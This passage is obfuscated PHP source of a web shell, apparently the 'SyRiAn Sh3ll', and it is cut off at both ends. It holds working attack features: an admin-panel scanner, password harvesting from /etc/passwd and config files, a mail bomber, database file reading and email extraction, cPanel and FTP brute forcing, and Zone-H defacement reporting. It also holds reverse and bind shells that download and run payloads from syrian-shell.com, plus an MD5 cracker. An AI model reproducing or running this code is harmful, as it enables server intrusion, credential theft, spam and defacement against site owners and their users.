"\x61\144\x6d\151\156i\x73\x74\x72\x61\164o\x72/account".$extention."", "a\144\155\151\x6e\x69\163\164\162\141\x74\x6f\x72".$extention."", "login".$extention."", "mo\x64\145\x6cs\x65\x61rc\150/login".$extention."", "m\x6f\x64er\x61t\157r/login".$extention."", "p\x61nel-a\144m\x69\156\151s\164r\141\x63io\x6e/admin".$extention."", "a\144\155\x69n\x63on\x74\162\x6fl/login".$extention."", "a\x64\155/index".$extention."", "mo\x64e\x72\141\164\x6fr/admin".$extention."", "account".$extention."", "\x63o\x6e\x74\x72\x6fl\x70\141\x6e\145\154".$extention."", "\x61\x64m\151\x6ec\x6fn\x74\162\x6f\154".$extention."", "w\x65\142\141d\155\x69\156/admin".$extention."", "\141\x64\155\x69n\114o\x67\x69\156".$extention."", "\x70\x61\x6ee\x6c-a\x64\x6di\x6ei\x73\x74r\x61\143i\x6f\156/login".$extention."", "\167p-login".$extention."", "a\x64\155i\156\114o\147i\156".$extention."", "admin/a\x64minL\157\x67\x69\156".$extention."", "a\144m\151n\141re\141/index".$extention."", "\x61\144\x6d\x69\156are\x61/admin".$extention."", "ad\x6d\151n\141\162\145\x61/login".$extention."", "\160\x61n\x65l-\141\x64m\151n\151\163\x74\x72\141cion/index".$extention."", "\x6d\x6f\144\145\x6cse\x61\162\143h/index".$extention."", "\155ode\154s\x65\141\x72\143\150/admin".$extention."", "\x61\x64m/\141\144\155\154oginu\163\145r".$extention."", "\141d\155\154o\147i\156\x75\163\x65\x72".$extention."", "ad\155\x69\156\x32".$extention."", "\x61\x64\x6d\x69\x6e\x32/login".$extention."", "a\144\x6din2/index".$extention."", "ad\155/index".$extention."", "\141\x64m".$extention."", "a\146\146\x69l\x69a\164\145".$extention."", "\141\144\155_auth".$extention."", "\155e\155b\145\x72a\144m\x69n".$extention."", "\x61d\x6di\x6e\x69\163\164ra\x74\x6frl\x6f\147in".$extention.""); foreach ($iol0l0o0olIiO101 as $admin) { $iliIi000o0ioIIi0 = get_headers("$url$admin"); if (eregi('200', $iliIi000o0ioIIi0[0])) {echo "[+] $url$admin ~ Fou\156\x64!\n";} } } + + +else if($_POST['doAction'] && ($_POST['someAction'] == 'findCon')) { set_time_limit(0); $passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "[-] E\162\x72\x6fr : c\x6f\165d\156'\164 read /\x65t\143/passwd"; exit; } $i1lo1iol011OI0O0=array(); $users=array(); $i0iOlloi011lIO1o=array(); $i=0; while(!feof($passwd)) { $i00O1OOOo000OIiI=fgets($passwd); if ($i>35) { $pos=strpos($i00O1OOOo000OIiI,":"); $username=substr($i00O1OOOo000OIiI,0,$pos); $i0111ol01loIl1Oi="/\x68\x6fme/$username/p\x75\x62li\x63_\x68tm\154/"; if (($username!="")) { if (is_readable($i0111ol01loIl1Oi)) { array_push($users,$username); array_push($i1lo1iol011OI0O0,$i0111ol01loIl1Oi); } } } $i++; } echo ""; echo "[+] \x46\x6f\x75\x6e\x64\x65d ".sizeof($users)." \145\x6e\164r\x79\x73 \151\x6e /\x65\x74\x63/passwd +"; echo "[+] \x46\x6fu\156\144\145d ".sizeof($i1lo1iol011OI0O0)." \x72ea\144\x61\x62\x6ce pu\142lic_\150\164\155l \x64ir\145\143t\x6fr\151\145s +"; echo "[~] \123\x65\141r\x63\x68\151n\147 \x66\157\162 \160a\163\163\x77\157\162\144\163 i\x6e config.* \x66\151\154e\163... +"; foreach ($users as $user) { $path="/h\157me/$user/\160ub\x6c\151\143_h\x74m\154/"; il0oll1olll0Io1l($path,$user); } echo "[+] \x44\157\x6ee"; } + + +else if($_POST['sendMailStorm']) { $to=$_POST['to']; $nom=$_POST['nom']; $Comments=$_POST['Comments']; if ($to <> "" ) { for ($i = 0; $i < $nom ; $i++) { $from = rand (71,1020000000).""."At\x74a\x63\153e\x72.\x63\x6f\155"; $ioOi1OOooo10oI1o= md5("$from"); if(mail($to,$ioOi1OOooo10oI1o,$Comments,"\106r\x6fm:$from")) echo "[+] $i s\160\x61m\155\x65d !! +"; else {echo "[-] $i \x46\141i\x6c\x65\144 !! +";} } } } + + +else if($_POST['emailExtractorHelp']) { echo "\x54\x68\x69\163 \x69s \123o\155\145 Ta\x62\154es \x4e\x61\155\x65 & C\x6fl\x75\x6d\x6e\x73 N\141\155\x65 Fo\x72 \x53\157\155\x65 \x46\141\x6d \x53\x63\162ip\x74s .. + +[+] \126\x42u\x6c\154\145t\x69\156 +\124able-name : user +\143\x6f\154\165\x6d\x6e-name : email + +[+] W\x6frd\x50re\163\x73 +\x54\141\x62l\145-name : w\160_u\x73er\x73 +\x63\x6flum\156-name : \165\163e\x72_\145m\141i\x6c + +[+] J\157oml\141 +\x54\141\x62le-name : \152o\x73_\x75\163\145r\163 +c\157lumn-name : email + +[+] \120\110P\x42\102 +\124\141\142\x6ce-name : p\x68p\x62\x62_\x75\x73\145\162\x73 +\143ol\165\x6dn-name : \x75\x73\x65r_\x65mai\154 + +[+] \x49.P.\x42o\141r\144 +\124a\142\x6c\145-name : ib\146_\x6d\x65\x6d\142\x65\162\x73 +c\157\x6c\x75m\156-name : email + +[+] S\115\106 +T\x61\142\x6ce-name : \x73mf_\155\x65m\142\145\162s +\x63\157\x6c\165\155n-name : e\155\141\151\154\x41\144\x64r\x65s\x73 "; } + + +else if($_POST['MySQLQuery'] && ($_POST['SQLType'] == 'SQLQuery')) { $query = stripslashes($_POST['QU']); iIO0io1IO0OI1lii($_POST['QU_HOST'],$_POST['QU_USER'],$_POST['QU_PASS'],$_POST['QU_DB']); $iIIi1l1OiOi0IO0l = mysql_query($query); $fields = i0IOlii1OIloli0l($iIIi1l1OiOi0IO0l); while ($rows = mysql_fetch_row($iIIi1l1OiOi0IO0l)) { for ($i = 0; $i < sizeof($rows); $i++) { if (is_null($rows[$i])) {$rows[$i] = "[NULL]";} elseif (ereg("^[[:\x73p\x61c\145:]]*$",$rows[$i])) {$rows[$i] = "[NULL]";} else {$rows[$i] = htmlspecialchars($rows[$i]);} echo $rows[$i]." +"; } echo " + +"; } } + + +else if($_POST['MySQLQuery'] && ($_POST['SQLType'] == 'SQLReader')) { iIO0io1IO0OI1lii($_POST['QU_HOST'],$_POST['QU_USER'],$_POST['QU_PASS'],$_POST['QU_DB']); $iO0li0OOi10o0Iil = uniqid('N'); $file = str_replace('\\\\','\\',$_POST['file']); $query = array( "\103RE\x41\124\x45 \x54EM\x50\x4f\122\x41\122\131 T\101\102L\x45 $iO0li0OOi10o0Iil (\146\151\x6c\145 \114O\x4e\107\102L\x4f\x42)", "\x4c\x4f\101\104 \x44\101\x54\x41 \111\116FI\114E '".mysql_real_escape_string($file)."' \x49\x4eTO TA\x42\114E $iO0li0OOi10o0Iil", "\123\x45\x4c\105\103T * FROM $iO0li0OOi10o0Iil" ); foreach($query as $iI1IoIolO0OI0OII) { $mysqlQuery = mysql_query($iI1IoIolO0OI0OII,$connect); while($line = mysql_fetch_row($mysqlQuery)) echo htmlspecialchars($line[0]); echo " +"; } } + + +else if($_POST['MySQLQuery'] && ($_POST['SQLType'] == 'EmailExtractor')) { iIO0io1IO0OI1lii($_POST['QU_HOST'],$_POST['QU_USER'],$_POST['QU_PASS'],$_POST['QU_DB']); $iOiii01iii0Ioi0I = $_POST['EM_TABLE']; $i10I1o1llOiIiOol = $_POST['EM_COLUMN']; $sql = mysql_query("\123\x45\x4cE\x43\x54 * FROM $iOiii01iii0Ioi0I"); while($i0IoililO0ooIl01 = mysql_fetch_array($sql)) {echo ''.$i0IoililO0ooIl01["$i10I1o1llOiIiOol"].' +';} } + + +else if($_POST['editFileSubmit']) { $fileName = stripslashes($_POST['editFile']); chdir(stripslashes($_POST['currentPath'])); if(!file_exists($fileName)){echo "[-] \x53\x68it ! W\x68\145r\145 \x69\x73 \164he \106\151\154\145 ? \n[+] \x4e\157\167 y\157\165 \x63a\x6e write \x74h\x65 n\145\167 \x66\151\154e content ";} else{ if($_POST['actionType'] == 'edit'){echo htmlspecialchars(file_get_contents($fileName));} else if($_POST['actionType'] == 'rename'){rename($fileName,$_POST['newName']);} else if($_POST['actionType'] == 'copy'){copy($fileName,$_POST['newName']);} else if($_POST['actionType'] == 'deleteFile'){DeleteFile($fileName);} else if($_POST['actionType'] == 'deleteFolder'){DeleteFolder($fileName);} else if($_POST['actionType'] == 'createFile'){iii0li0iIOii1III($fileName,$_POST['newName']);} else if($_POST['actionType'] == 'createFolder'){mkdir($fileName);} else if($_POST['actionType'] == 'zip'){iOIoi1lOOI00I10I($fileName,getcwd()); } else if($_POST['actionType'] == 'unzip'){UnZip($fileName,getcwd());} else if($_POST['actionType'] == 'tar'){ Exe('tar -zcf '.$fileName." ".$fileName);} else if($_POST['actionType'] == 'untar'){ Exe ('tar -zxf '.$fileName);} else if($_POST['actionType'] == 'gz'){Exe('tar -czvf '.$fileName." ".$fileName);} else if($_POST['actionType'] == 'ungz'){Exe('gzip -d '.$fileName);} } } else if($_POST['saveEditedFile']) { chdir(stripslashes($_POST['currentPath'])); $ioillo0oioi0lIiI = iii0li0iIOii1III($_POST['file2edit'],$_POST['ExecutionArea']); if($ioillo0oioi0lIiI){echo "[+] \x46\x69\154\x65 \x53a\x76\x65d !";} else {echo "[-] F\141\x69led T\x6f Sa\x76e \106\x69\x6ce !!";} } + + +else if($_POST['SendNowToZoneH']) { ob_start(); $iiIoloOoo0OlOIlI = get_loaded_extensions(); if(!in_array("curl", $iiIoloOoo0OlOIlI)){die('[-] Curl Is Not Supported !! ');} $hacker = $_POST['defacer']; $method = $_POST['hackmode']; $il1Iiio010o1I0il = $_POST['reason']; $site = $_POST['domain']; if (empty($hacker)){die ("[-] \131o\165 \115u\x73t \x46i\x6c\x6c t\x68\145 \x41t\x74\141\x63\x6b\x65\162 name !");} elseif($method == "--------S\105L\105\x43\x54--------") {die("[-] \x59\157u \115\x75\x73\164 \x53\x65le\x63\164 T\150\145 M\145t\150\157\x64 !");} elseif($il1Iiio010o1I0il == "--------\x53E\114EC\x54--------") {die("[-] \131\x6fu \115\x75\163\164 \x53e\154\x65\143t \x54h\x65 \x52\145\x61\163\157\x6e");} elseif(empty($site)) {die("[-] \131\157u \115\165\163t \111\x6et\145\162 the S\x69\x74e\163 \114\151\x73t ! ");} $i = 0; $sites = explode("\n", $site); while($i < count($sites)) { if(substr($sites[$i], 0, 4) != "h\x74\x74\160") {$sites[$i] = "\x68\x74tp://".$sites[$i];} i1ol1ilOlIoIOOII("h\x74\164\x70://\x7a\157\156\145-\150.org/\156o\x74\151\x66y/\x73\151ng\x6c\x65", $hacker, $method, $il1Iiio010o1I0il, $sites[$i]); echo "\x53\x69t\145 : ".$sites[$i]." D\x65f\x61c\145d !\n"; ++$i; } echo "[+] Send\151\156g \x53i\164\145\x73 To Zo\x6ee-\x48 H\141s B\x65e\x6e Com\x70l\x65t\145\144 \123\165\143\143es\163\146\165\x6cl\171 !! "; } + + +else if($_POST['BruteForceCpanelAndFTP']) { $iIlIlii0OOIiiOo0=5; set_time_limit(0); $submit = $_REQUEST['BruteForceCpanelAndFTP']; $users = $_REQUEST['users']; $pass = $_REQUEST['passwords']; $target = $_REQUEST['target']; $cracktype = $_REQUEST['cracktype']; if(empty($target)){$target = "127.0.0.1";} function iO1li1i0looIiOil($host,$user,$pass,$timeout) { $i0o1iOil1oIoI0I1 = curl_init(); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_URL, "ftp://$host"); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_RETURNTRANSFER, 1); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_FTPLISTONLY, 1); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_USERPWD, "$user:$pass"); curl_setopt ($i0o1iOil1oIoI0I1, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_FAILONERROR, 1); $data = curl_exec($i0o1iOil1oIoI0I1); if ( curl_errno($i0o1iOil1oIoI0I1) == 28 ) { print "\x45r\x72o\x72 : \103\x6f\156\156\145\143t\x69\157\x6e \x54im\145\x6f\165t \120lea\x73e \103\x68\x65\x63k \x54h\145 \x54\x61r\x67\x65\x74 H\x6f\163t\156\x61\x6d\145 ."; exit; } elseif ( curl_errno($i0o1iOil1oIoI0I1) == 0 ){print "[+] \x43\x72\141\x63\153\151\x6eg \123u\x63\x63\x65\x73\163 \127i\164\150 Username ($user) \x61\x6ed \120\x61\163\x73\x77\x6f\162\x64 ($pass)";} curl_close($i0o1iOil1oIoI0I1); } function i10l1llOi0IOliIl($host,$user,$pass,$timeout) { $i0o1iOil1oIoI0I1 = curl_init(); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_URL, "\x68\164\164\x70://$host:2082"); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_RETURNTRANSFER, 1); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_USERPWD, "$user:$pass"); curl_setopt ($i0o1iOil1oIoI0I1, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_FAILONERROR, 1); $data = curl_exec($i0o1iOil1oIoI0I1); if ( curl_errno($i0o1iOil1oIoI0I1) == 28 ) { print "[-] \103\x6fn\x6e\145\143\x74\151o\x6e T\151\x6d\x65\157u\164 Ple\x61\x73\145 \x43h\145\143\153 Th\x65 \x54\141\162\147\145t \110os\x74n\141\x6de ."; exit; } elseif ( curl_errno($i0o1iOil1oIoI0I1) == 0 ){print "[+] \103\x72\141c\153in\147 \x53ucc\x65\163\x73 \x57i\164\x68 Username ($user) \141\156\144 \120a\163s\x77\157rd ($pass)";} curl_close($i0o1iOil1oIoI0I1); } if(isset($submit) && !empty($submit)) { if(empty($users) && empty($pass)){ print "[-] \120\x6c\145a\x73\145 C\150\145ck T\x68\145 Users \x6f\x72 \x50as\163\x77\157r\x64 \114\x69\x73t \x45\x6et\162\171 . . .";} if(empty($users)){ print "[-] \x50\154\x65a\x73\x65 C\x68\145\143k Th\x65 Users Lis\x74 E\156\x74\x72y . . ."; } if(empty($pass)){ print "[-] \x50le\141\x73\x65 C\150\145ck T\150\x65 \x50\x61\163\163\167\x6f\x72\144 \114\151\x73t \105n\x74\162y . . ";} $iOl0looOiioliIll=explode("\n",$users); $i1l01iO1oiOiI100=explode("\n",$pass); print "[~]# C\x72a\143k\151\156\147 \x50\162\157c\145\163\163 \123\164\141\x72\x74\145d, \x50\154\145\141s\145 W\x61\151t ..."; foreach ($iOl0looOiioliIll as $user) { $ilIliil0l0o1I0l1 = trim($user); foreach ($i1l01iO1oiOiI100 as $password ) { $iliIll1Oi0O0IIll = trim($password); if($cracktype == "ftp") { iO1li1i0looIiOil($target,$ilIliil0l0o1I0l1,$iliIll1Oi0O0IIll,$iIlIlii0OOIiiOo0); } if ($cracktype == "\x63pa\x6e\x65\154") { i10l1llOi0IOliIl($target,$ilIliil0l0o1I0l1,$iliIll1Oi0O0IIll,$iIlIlii0OOIiiOo0); } } } } } + + +else if($_POST['backconn']) { set_time_limit (0); $ip = trim($_POST['ip']); $port = trim($_POST['backport']); $back_pass = trim($_POST['back_pass']); iloOl1lloloI1loI('http://www.syrian-shell.com/cgi/compiler.zip'); UnZip('compiler.zip',getcwd()); DeleteFile('compiler.zip'); iI11i0Il0iO0iooi("compiler",0777); echo "[~] \165\x73\x65 \164\x68is \x43\157\x6d\x6d\x61n\x64 \x69n \116\145\164\103a\164 : \156\143 -\166\154p [Y\157ur \x50OR\x54]"; if($_POST['use'] == 'php1') { $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if($sock < 0){die("[-] \146\141i\154\145\x64 to \x63\x72\x65\x61\164\145 socket.");} $result = socket_connect($sock, $ip, $port); if($result < 0){die("[-] \146\x61i\x6c\x65\144 to connect \142a\x63k to host:".$_GET['host']);} $i01O1l1ilooiI10O = "\n\n -== S\x79\x52\151A\x6e \x53h\x33l\x6c , \x42a\x63k \103on\156\145c\x74io\156 ==-\n$"; socket_write($sock, $i01O1l1ilooiI10O, strlen($i01O1l1ilooiI10O)); while($input = socket_read($sock, 10000)) { $result = `$input`; $result .= "\n$ "; socket_write($sock, $result, strlen($result)); } } else if ($_POST['use'] == 'php2') { $iOIliloO0iIo11Ol = 1400; $iliO10o1oO0l1IIo = null; $i000iiO0iOoI0OIl = null; $shell = 'uname -a; w; id; /bin/sh -i'; $il0I100001iI00O1 = 0; $i110lOol1i0IOOIo = 1; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("[-] E\x52\x52\117\x52: \x43an'\x74 \146or\x6b"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("[-] E\162\x72\x6fr: Ca\156't \163\x65\164\x73\x69\144()"); exit(1); } $il0I100001iI00O1 = 1; } else { printit("[-] WARN\x49\116\107: \x46ai\x6ce\144 to \144\141\x65\x6d\157\x6e\x69\163e. \124\150\x69\163 is \161u\x69\x74\145 c\x6f\x6d\x6d\157n an\144 \x6e\157\x74 \x66a\x74al."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $il1Oi1OoO11I1OiI, $i1Oli10olOiIlloI, 30); if (!$sock) { printit("$i1Oli10olOiIlloI ($il1Oi1OoO11I1OiI)"); exit(1); } $i0ii10l00loI0IiI = array( 0 => array("p\x69\x70e", "r"), 1 => array("\160\151\x70\x65", "\167"), 2 => array("\x70ipe", "w") ); $process = proc_open($shell, $i0ii10l00loI0IiI, $ilOIi1011iloIl1I); if (!is_resource($process)) { printit("[-] \x45\122\x52OR: \103\x61\156't \163\160a\x77\x6e shell"); exit(1); } stream_set_blocking($ilOIi1011iloIl1I[0], 0); stream_set_blocking($ilOIi1011iloIl1I[1], 0); stream_set_blocking($ilOIi1011iloIl1I[2], 0); stream_set_blocking($sock, 0); printit("[+] \x53\x75\x63\143\x65\163\163\x66\165\x6c\154y o\x70e\156e\144 r\145\166\145rs\x65 shell to $ip:$port"); while (1) { if (feof($sock)) { printit("[-] E\x52\x52O\x52: \x53h\145l\154 \143\x6f\x6e\x6e\145\143ti\157\x6e \164\145r\155i\x6e\x61te\144"); break; } if (feof($ilOIi1011iloIl1I[1])) { printit("[-] \x45R\122\117\122: \123\x68\145\154\154 process \164\145\x72mi\x6ea\x74ed"); break; } $i1IIi11O1iOiI010 = array($sock, $ilOIi1011iloIl1I[1], $ilOIi1011iloIl1I[2]); $iiOol1oOii0OIilO = stream_select($i1IIi11O1iOiI010, $iliO10o1oO0l1IIo, $i000iiO0iOoI0OIl, null); if (in_array($sock, $i1IIi11O1iOiI010)) { if ($i110lOol1i0IOOIo) printit("\x53\x4f\103\x4b \122EA\x44"); $input = fread($sock, $iOIliloO0iIo11Ol); if ($i110lOol1i0IOOIo) printit("S\117\x43\x4b: $input"); +fwrite($ilOIi1011iloIl1I[0], $input); } if (in_array($ilOIi1011iloIl1I[1], $i1IIi11O1iOiI010)) { if ($i110lOol1i0IOOIo) printit("\123\124\x44\117UT R\x45A\x44"); $input = fread($ilOIi1011iloIl1I[1], $iOIliloO0iIo11Ol); if ($i110lOol1i0IOOIo) printit("\123\124\104O\125\124: $input"); fwrite($sock, $input); } if (in_array($ilOIi1011iloIl1I[2], $i1IIi11O1iOiI010)) { if ($i110lOol1i0IOOIo) printit("\123\124D\105\122R \x52EA\104"); $input = fread($ilOIi1011iloIl1I[2], $iOIliloO0iIo11Ol); if ($i110lOol1i0IOOIo) printit("\123TDE\x52R: $input"); fwrite($sock, $input); } } fclose($sock); fclose($ilOIi1011iloIl1I[0]); fclose($ilOIi1011iloIl1I[1]); fclose($ilOIi1011iloIl1I[2]); proc_close($process); } else if ($_POST['use'] == "p\150\x70\063-\167\151\156") { $i0Oll100O0OIiIli=array('path' => 'c:\\windows\\system32'); $i0ii10l00loI0IiI = array( 0 => array("\160\x69pe","\x72"), 1 => array("p\151\x70e","\167"), 2 => array("\x66\x69l\x65","l\x6fg.t\170\x74","a")); } else if ($_POST['use'] == "\x70h\160\x33-\154\x69n\165x") { $i0Oll100O0OIiIli = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); $i0ii10l00loI0IiI = array( 0 => array("p\x69\160\x65","r"), 1 => array("\x70i\x70\145","w"), 2 => array("f\x69\x6ce","/tmp/\154\157\147.\164\170\x74","a")); } if (($_POST['use'] == "ph\x703-\154\x69n\165x") || ($_POST['use'] == "ph\160\x33-\167\x69\x6e")) { $ioO1lliO0110I0io=getprotobyname("t\x63\x70"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$ioO1lliO0110I0io))<0) { die("[-] Soc\x6b\145\x74 \103r\145a\164\x65 F\141\151\154e");} if(($iIl0ll1lo0l0I1IO=socket_connect($sock,$ip,$port))<0) { die("[-] \x43on\156\x65\143\x74 \x46\x61il\145");} else{ $message="----------------------\120H\x50 \x43\x6f\x6en\x65\x63t-B\141\x63k--------------------\n"; $message.="----------------------- \123\x79R\151\101\156 \x53h\063\154l --------------------\n"; socket_write($sock,$message,strlen($message)); $iolilOoo01OIoIo1=str_replace('\\','/',dirname(__FILE__)); while($cmd=socket_read($sock,65535,$ioO1lliO0110I0io)) { if(trim(strtolower($cmd))=="\x65x\x69t"){socket_write($sock,"\102ye \102ye\n");exit;} else{ $process = proc_open($cmd, $i0ii10l00loI0IiI, $ilOIi1011iloIl1I, $iolilOoo01OIoIo1, $i0Oll100O0OIiIli); if (is_resource($process)) { fwrite($ilOIi1011iloIl1I[0], $cmd); fclose($ilOIi1011iloIl1I[0]); $msg=stream_get_contents($ilOIi1011iloIl1I[1]); socket_write($sock,$msg,strlen($msg)); fclose($ilOIi1011iloIl1I[1]); $iiiO1lli0OllIl0O = proc_close($process);} } } } } else if ($_POST['use'] == 'perl1') { iloOl1lloloI1loI('http://syrian-shell.com/back/perl1.zip'); UnZip('perl1.zip',getcwd()); DeleteFile('perl1.zip'); iI11i0Il0iO0iooi('perl1.sy3',0755); Exe('perl perl1.sy3 '.$ip." ".$port); } else if ($_POST['use'] == 'perl2') { iloOl1lloloI1loI('http://syrian-shell.com/back/perl2.zip'); UnZip('perl2.zip',getcwd()); DeleteFile('perl2.zip'); iI11i0Il0iO0iooi('perl2.sy3',0755); Exe('perl perl2.sy3 '.$ip." ".$port." ".$back_pass); } else if ($_POST['use'] == 'perl3-linux') { iloOl1lloloI1loI('http://syrian-shell.com/back/back3-linux.zip'); UnZip('back3-linux.zip',getcwd()); DeleteFile('back3-linux.zip'); iI11i0Il0iO0iooi('back3-linux.sy3',0755); Exe('perl back3-linux.sy3 '.$ip." ".$port); } else if ($_POST['use'] == 'perl4-win') { iloOl1lloloI1loI('http://syrian-shell.com/back/back4-win.zip'); UnZip('back4-win.zip',getcwd()); DeleteFile('back4-win.zip'); iI11i0Il0iO0iooi('back4-win.sy3',0755); Exe('perl back4-win.sy3 '.$ip." ".$port); } +else if ($_POST['use'] == 'php4') {ilII1oOlIo10I0oi('cb', "", $port, $ip);} else if ($_POST['use'] == 'c1') {i1O11101l1IllolO('/tmp', 'gcc', $ip , $port); } } + + +else if($_POST['bind']) { set_time_limit (0); $i0oI1OlOO0II0o00 = trim($_POST['bind_pass']); $port = trim($_POST['port']); iloOl1lloloI1loI('http://www.syrian-shell.com/cgi/compiler.zip'); UnZip('compiler.zip',getcwd()); DeleteFile('compiler.zip'); iI11i0Il0iO0iooi("compiler",0777); echo "[~] \165\163\x65 t\150i\163 \103\157\x6d\155a\156\x64 \x69\156 \x4ee\164\103at : n\x63 �v �n [\123\145\x72\x76\145\162 ip] [port]"; if($_POST['use'] == 'php1') { $i0lll1o0olioIlOI = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_bind($i0lll1o0olioIlOI,'127.0.0.1', $port) or die('[-] Could not bind to address'); socket_listen($i0lll1o0olioIlOI, 5); $iooIil00loIOOIii = socket_accept($i0lll1o0olioIlOI); $input = socket_read($iooIil00loIOOIii, 1024); echo $input; socket_close($iooIil00loIOOIii); socket_close($i0lll1o0olioIlOI); } else if ($_POST['use'] == 'perl1-linux') { iloOl1lloloI1loI('http://syrian-shell.com/bind/perl1-linux.zip'); UnZip('perl1-linux.zip',getcwd()); DeleteFile('perl1-linux.zip'); iI11i0Il0iO0iooi('perl1-linux.sy3',0755); Exe('perl perl1-linux.sy3 '.$port." ".$i0oI1OlOO0II0o00); } else if ($_POST['use'] == 'perl2-linux') { iloOl1lloloI1loI('http://syrian-shell.com/bind/perl2-linux.zip'); UnZip('perl2-linux.zip',getcwd()); DeleteFile('perl2-linux.zip'); iI11i0Il0iO0iooi('perl2-linux.sy3',0755); Exe('perl perl2-linux.sy3 '.$port); } else if ($_POST['use'] == 'bind3-win') { iloOl1lloloI1loI('http://syrian-shell.com/bind/bind3-win.zip'); UnZip('bind3-win.zip',getcwd()); DeleteFile('bind3-win.zip'); iI11i0Il0iO0iooi('bind3-win.sy3',0755); Exe('perl bind3-win.sy3 '.$port); } else if ($_POST['use'] == 'php2') {ilII1oOlIo10I0oi('pb',"", $port, $ip) ;} else if ($_POST['use'] == 'c1') { iloOl1lloloI1loI('http://syrian-shell.com/bind/bind4-linux-c.zip'); UnZip('bind4-linux-c.zip',getcwd()); DeleteFile('bind4-linux-c.zip'); iI11i0Il0iO0iooi('bind4-linux-c.c',0777); Exe('gcc -o bind4-linux-c.c bind4-linux-c'); Exe('./bind4-linux-c -s /bin/sh -c girl -r /home -w '.$i0oI1OlOO0II0o00.' -p '.$port.''); } } + + +elseif($_POST['CrackMd5']) { set_time_limit(0); function i0i11l11O1I0IOIi() { set_time_limit(0); $chars=$_POST['chars']; $chars=str_replace("<",chr(60),$chars); $chars=str_replace(">",chr(62),$chars); $c=strlen($chars); for ($next = 0; $next <= 31; $next++) { for ($iI0llooOoioiI1iI = 0; $iI0llooOoioiI1iI <= $c; $iI0llooOoioiI1iI++) { $iOoI1oOi0o0OlI0O[1] = $chars{$iI0llooOoioiI1iI}; for ($iIiIi0o1o00OI0oi = 0; $iIiIi0o1o00OI0oi <= $c; $iIiIi0o1o00OI0oi++) { $iOoI1oOi0o0OlI0O[2] = $chars{$iIiIi0o1o00OI0oi}; if ($next <= 2) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i1i0loOlioi1I110 = 0; $i1i0loOlioi1I110 <= $c; $i1i0loOlioi1I110++) { $iOoI1oOi0o0OlI0O[3] = $chars{$i1i0loOlioi1I110}; if ($next <= 3) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($ii001o01l1ioIioi = 0; $ii001o01l1ioIioi <= $c; $ii001o01l1ioIioi++) { $iOoI1oOi0o0OlI0O[4] = $chars{$ii001o01l1ioIioi}; if ($next <= 4) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iIOiiOoll1liI0O0 = 0; $iIOiiOoll1liI0O0 <= $c; $iIOiiOoll1liI0O0++) { $iOoI1oOi0o0OlI0O[5] = $chars{$iIOiiOoll1liI0O0}; if ($next <= 5) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iOII1Ol0000OI1o0 = 0; $iOII1Ol0000OI1o0 <= $c; $iOII1Ol0000OI1o0++) { $iOoI1oOi0o0OlI0O[6] = $chars{$iOII1Ol0000OI1o0}; if ($next <= 6) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iiIii0lOO0OiIlI0 = 0; $iiIii0lOO0OiIlI0 <= $c; $iiIii0lOO0OiIlI0++) { $iOoI1oOi0o0OlI0O[7] = $chars{$iiIii0lOO0OiIlI0}; if ($next <= 7) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($ioIO1OiO0OlOIi1O = 0; $ioIO1OiO0OlOIi1O <= $c; $ioIO1OiO0OlOIi1O++) { $iOoI1oOi0o0OlI0O[8] = $chars{$ioIO1OiO0OlOIi1O}; if ($next <= 8) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($il10i0iOo0iiIil0 = 0; $il10i0iOo0iiIil0 <= $c; $il10i0iOo0iiIil0++) { $iOoI1oOi0o0OlI0O[9] = $chars{$il10i0iOo0iiIil0}; if ($next <= 9) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($ioliiOOOO11oIOoi = 0; $ioliiOOOO11oIOoi <= $c; $ioliiOOOO11oIOoi++) { $iOoI1oOi0o0OlI0O[10] = $chars{$ioliiOOOO11oIOoi}; if ($next <= 10) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($ioOOlOOooiilI1Oo = 0; $ioOOlOOooiilI1Oo <= $c; $ioOOlOOooiilI1Oo++) { $iOoI1oOi0o0OlI0O[11] = $chars{$ioOOlOOooiilI1Oo}; if ($next <= 11) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iliIlo0oio0oIOlI = 0; $iliIlo0oio0oIOlI <= $c; $iliIlo0oio0oIOlI++) { $iOoI1oOi0o0OlI0O[12] = $chars{$iliIlo0oio0oIOlI}; if ($next <= 12) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($ilIii0O0iooiI1o0 = 0; $ilIii0O0iooiI1o0 <= $c; $ilIii0O0iooiI1o0++) { $iOoI1oOi0o0OlI0O[13] = $chars{$ilIii0O0iooiI1o0}; if ($next <= 13) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iiioiOOo10i0Iol1 = 0; $iiioiOOo10i0Iol1 <= $c; $iiioiOOo10i0Iol1++) { $iOoI1oOi0o0OlI0O[14] = $chars{$iiioiOOo10i0Iol1}; if ($next <= 14) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iilIio0Oi011IilO = 0; $iilIio0Oi011IilO <= $c; 